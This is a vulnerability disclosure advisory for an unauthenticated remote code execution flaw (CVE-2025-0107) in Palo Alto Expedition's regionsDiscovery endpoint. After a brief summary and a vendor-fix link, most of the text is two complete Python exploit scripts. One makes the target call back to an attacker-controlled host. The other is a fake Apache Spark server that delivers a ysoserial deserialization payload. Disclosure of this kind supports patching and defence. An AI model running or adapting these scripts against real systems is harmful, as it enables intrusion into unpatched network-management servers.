SSD Advisory – Palo Alto Expedition RCE (regionsDiscovery)

Summary

A vulnerability in Palo Alto Expedition allows remote attackers who can reach the web interface to execute arbitrary code.

Credit

An independent security researcher working with SSD Secure Disclosure.

Vendor Response

Palo Alto has released the following advisory and fix: https://security.paloaltonetworks.com/PAN-SA-2025-0001

Affected Versions

Palo Alto Expedition version 1.2.101 and prior

CVE

CVE-2025-0107

Technical Analysis

A vulnerability in the /API/regionsDiscovery.php endpoint allows unauthenticated attackers to trigger a call to an Apache Spark server (attacker controlled) which can then be used to cause the execution of arbitrary code.

This is done by returning a Java compiled package as the response from our (fake) Apache Spark server which is then executed by the Palo Alto Expedition server.

Exploit
#!/usr/bin/python3
# Exploit
import sys
import requests

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("python3 exp.py https://127.0.0.1 8.8.8.8:1234")
        sys.exit(0)
    url = sys.argv[1]
    spark_addr = sys.argv[2]

    params = {
        "master": f"spark://{spark_addr}",
        "mask": "26",
        "project": "your_project",
        "devices": "device1,device2",
        "mtserver": "127.0.0.1:3306",
        "mtuser": "root",
        "mtpassword": "paloalto",
        "task-id": "1193",
        "mode": "pre-analysis",
        "regions": "",
        "parquetPath": "/tmp",
        "timezone": "Europe/Helsinki",
        "mlserver": "127.0.0.1",
        "debug": "false",
        "initDate": "2023-01-01",
        "endDate": "2023-01-31",
    }

    res = requests.get(
        f"{url}/API/regionsDiscovery.php",
        params=params,
        verify=False,
    )
    print(f"exploit ok! {res}")

 

#!/usr/bin/python3
# Fake Spark Server
import os
import struct
import sys
from socketserver import BaseRequestHandler, ThreadingTCPServer


class EchoHandler(BaseRequestHandler):
    def handle(self):
        print("Got connection from %s" % (str(self.client_address)))
        while True:
            msg = self.request.recv(8192)
            print(msg)
            if not msg:
                break

            if len(msg) > 16:
                print("Send msg>>>")
                self.request.sendall(build_msg(msg[9:17]))


def build_msg(request_id):
    # Read the payload as binary data
    payloadObj = open(sys.argv[2], "rb").read()
    msg_type = b"\x04"
    head_length = 21

    # Construct message
    msg = struct.pack(">Q", len(payloadObj) + 21) + msg_type + request_id
    msg += struct.pack(">I", len(payloadObj)) + payloadObj
    return msg


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(
            "Usage: python %s <port / 3306> </path/to/payload>" % os.path.basename(sys.argv[0])
        )
        print(
            'java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/hack" > payload'
        )
        sys.exit()

    serv = ThreadingTCPServer(("0.0.0.0", int(sys.argv[1])), EchoHandler)
    print("Server listening on 0.0.0.0:%s" % sys.argv[1])
    serv.serve_forever()

?

Get in touch

Skip to content